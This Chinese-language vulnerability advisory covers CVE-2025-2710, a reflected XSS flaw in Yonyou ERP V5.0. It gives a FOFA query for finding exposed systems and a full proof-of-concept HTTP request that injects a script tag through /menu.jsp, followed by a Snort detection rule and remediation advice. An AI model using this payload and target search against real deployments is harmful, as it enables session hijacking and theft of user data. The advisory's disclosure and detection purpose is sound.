跳转至

用友ERP-CVE-2025-2710反射型xss

用友ERP-CVE-2025-2710反射型xss，攻击者可利用该漏洞构造恶意链接，诱骗用户点击后执行任意JavaScript代码，可能导致会话劫持、敏感信息窃取、钓鱼攻击或恶意操作，危害用户数据安全和系统完整性。

影响版本

Yonyou erp V5.0

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：app="用友-UFIDA-NC" || icon_hash="1085941792"

POC/EXP：

GET /menu.jsp?flag=%3C/script%3E%3Cscript%3Ealert(`helloWorld`)%3C/script%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: JSESSIONID=90EAE615C7A258C3A47F8BB708B061C5.server
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0

image-20250722154802824

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Yonyou ERP - Script Tag XSS in menu.jsp (CVE-2025-2710)";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/menu.jsp"; http_uri;
    content:"flag="; http_uri;
    pcre:"/flag=[^&]*%3C%2Fscript%3E%3Cscript%3E[^%]+%3C%2Fscript%3E/i";
    metadata:cve CVE-2025-2710;
    metadata:affected_product "用友ERP系统";
    metadata:vulnerability_type "Cross-Site Scripting";
    classtype:web-application-attack;
    sid:1000358;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。